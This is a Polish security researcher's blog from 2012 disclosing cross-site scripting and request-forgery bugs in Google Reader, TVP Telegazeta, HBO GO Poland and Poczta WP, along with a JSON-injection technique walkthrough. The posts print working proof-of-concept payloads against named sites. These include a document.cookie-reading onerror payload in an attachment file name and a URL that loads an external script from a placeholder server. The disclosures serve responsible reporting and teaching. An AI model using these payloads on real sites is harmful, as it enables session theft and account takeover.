niedziela, 23 grudnia 2012

Stored XSS in Google Reader

Z racji na datę - chciałbym wszystkim życzyć Wesołych Świąt! ;) 

Poniżej moje zgłoszenie dotyczące błędu w usłudze Google Reader. Zgłoszony przeze mnie 08/10/2012, poprawiony w przeciągu niecałych dwóch dni.

Oryginalna treść zgłoszenia:


Hello there! 

I have just found XSS bug in one of Google Web Applications - Reader (reader.google.com). Here is my proof-of-concept: http://q-x.ath.cx/~zoczus/google-poc.rss

This is how it works - after we subscribe this rss channel we can see it on the list (left one). There's a ability to drag this item and move it in some other place (for example - directory or just position change). After that - we'll get my js code executed.  

Here is decoded payload from title section:

Here we go. I think this title is loooooooooooooooooooooooooong enough to hide THIS evil code my friends: <object width="400" height="400" data="data:text/html;base64,PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPmFsZXJ0KCdCb29tIScpOzwvc2NyaXB0Pgo="></object>

And base64 decoded script (from object section):

<script type="text/javascript">alert('Boom!');</script>




wtorek, 18 grudnia 2012

Telegazeta TVP - XSS

Wbrew sugestiom jednego z kolegów wyprzedzam pytania - nie, nie znalazłem XSS'a przy pomocy telewizora ;-)

Na stronie telegazety TVP - prosty błąd XSS. Po 12 godzinach (licząc od północy) błąd został poprawiony.

Payload:

http://telegazeta.tvp.pl/szukaj.php?mode=adv&cat=&searchatt[0]=&check[0]=&att[0]=0&searchatt[1]=%22%3E%3Cimg%20src=a%20onerror=alert%28document.location%29%3Ehh

...oraz screenshot:




poniedziałek, 17 grudnia 2012

Reflected XSS w HBOGO

Na stronie http://hbogo.pl jakiś czas temu znalazłem reflected xss'a. Zaraz po jego zgłoszeniu nastąpił błyskawiczny kontakt ze strony pracownika firmy, zgłoszenie oraz poprawka. W ramach podziękowania otrzymałem gadżety - voucher, dwa energetyki, mnóstwo krówek i chyba cały sezon Imperium na DVD. Taki kontakt mi się podoba! No i będzie co oglądać ;-)

Przykładowy payload...

http://www.hbogo.pl/vip/template.aspx?id=test%3Cscript%20src=%22http://some-server/SOME-SCRIPT.JS%22%3E%3C/script%3E

...efekt wywołania URL:




No i gadżety ;-)



Niebawem kolejne 'znaleziska'. Pozdrawiam!


piątek, 14 grudnia 2012

JSON INJECTION i Cross-Site Scripting

Witam wszystkich serdecznie ;-)

Chciałbym dziś poruszyć temat, z którym chyba rzadko spotkamy się podczas testowania webaplikacji - jednak może się wydarzyć, że ta technika będzie nam do czegoś potrzebna.

Aplikacja, z której korzystam została napisana w taki, a nie inny sposób dla potrzeb przedstawienia tej metody. Frontend - Extjs 4.0, Backend - php 5.3.3.

Sytuacja wygląda tak - w aplikacji mamy grid z listą użytkowników, oraz formularz dodawania nowych (pola imię i nazwisko). Jak widać na poniższych screenshotach - imię oraz nazwisko są filtrowane, więc standardowy XSS odpada.





Można jednak zauważyć, że przy zapisywaniu oraz pobieraniu danych pojawia się dodatkowe pole - description, które nie jest wyświetlane po stronie frontendu. Zakładając, że w ciągu umieścimy znak " (cudzysłów), a pole nie jest filtrowane - zwracany JSON zostanie źle sparsowany i przeglądarka zwróci nam błąd.






Co się stanie, gdy JSON będzie miał dwa stringi o takiej samej nazwie? Wartość zostanie nadpisana. Wniosek płynie z tego taki, że jeżeli uda nam się wstrzyknąć (w tym przypadku) pole surname z wartością, która normalnie byłaby filtrowana - możemy to wykorzystać do XSS'a.






To by było na tyle - mam nadzieję, że komuś się to kiedykolwiek przyda.

czwartek, 6 grudnia 2012

[Full Disclosure] Poczta.WP Multiple vulnerabilities

Orginal: http://seclists.org/fulldisclosure/2012/Dec/68



Poczta.WP Multiple vulnerabilities full disclosure

Author: Jakub Zoczek [zoczus(x)gmail.com]

0x01 Intro

Wirtualna Polska S.A. (WP) is one of the largest Polish web portals.
Their email service (poczta.wp.pl) is affected by multiple cross-site
scripting vulnerabilities and also one, almost fixed cross-site
request forgery bug. After long time of waiting - I got a
non-professional answer from Customer Service Manager of WP, so I
decided to post all my research here. Thus...

0x02 XSS in mail attachments.
Reported: 10/10/2012
State: Fixed

Proof Of Concept:

For example - jpeg picture with filename:

sowa oraz "> inject <img src="boom.jpg" onerror="alert(document.cookie);"> hhh.jpg

..sent as e-mail attachment.

Result:




0x03 XSRF in AntyHack and AntySpam fitler (adding to white list)


Reported: 24/11/2012
State: "Fixed"

Proof Of Concept:

http://q-x.ath.cx/~zoczus/poc/wp/wp-xsrf.txt

Result:

0x04 XSRF in AntyHack and AntySpam fitler - bypassing 'fix' ;) Reported: 04/12/2012 State: Not fixed Proof Of Concept: Additional info for 0x03 - as I supposed, WP used the token in a white list form (every once in a while generated md5 of something). The problem is, that the token value is probably the same for each user. For different mail accounts, different browsers, different IP addresses - token is the same... Bypassing this protection seems to be quite simple.
0x05 XSS in mail headers Reported: 04/12/2012 State: Not fixed Proof Of Concept: Return-Path: <zoczus () fbi pl> Delivered-To: zoczus () wp pl (zoczus) Received: (wp-smtpd mx.wp.pl 10088 invoked from network); 30 Nov 2012 16:04:58 +0100 Received: from emkei.cz ([46.167.245.118]) (envelope-sender <zoczus () fbi pl>) by mx.wp.pl (WP-SMTPD) with SMTP for <zoczus () wp pl>; 30 Nov 2012 16:04:58 +0100 Received: by emkei.cz (Postfix, from userid 33) id D4119D5807; Fri, 30 Nov 2012 16:04:57 +0100 (CET) To: zoczus () wp pl Subject: From: "zoczus () fbi pl" <zoczus () fbi pl> Head<img/src="a"/onerror="alert(document.location)">er: dont have spaces X-Priority: 3 (Normal) Importance: Normal Errors-To: zoczus () fbi pl Reply-To: zoczus () fbi pl Content-Type: text/plain; charset=utf-8 Message-Id: <20121130150457.D4119D5807 () emkei cz> Date: Fri, 30 Nov 2012 16:04:57 +0100 (CET) X-WP-DKIM-Status: no signature (id: n/a) X-WP-AV: skaner antywirusowy poczty Wirtualnej Polski S. A. X-WP-SPAM: NO (UW) 0000010 [8Wph] Dobre! Result:

0x06 The end. :)


Powyższe błędy zostały poprawione błyskawicznie po publikacji raportu.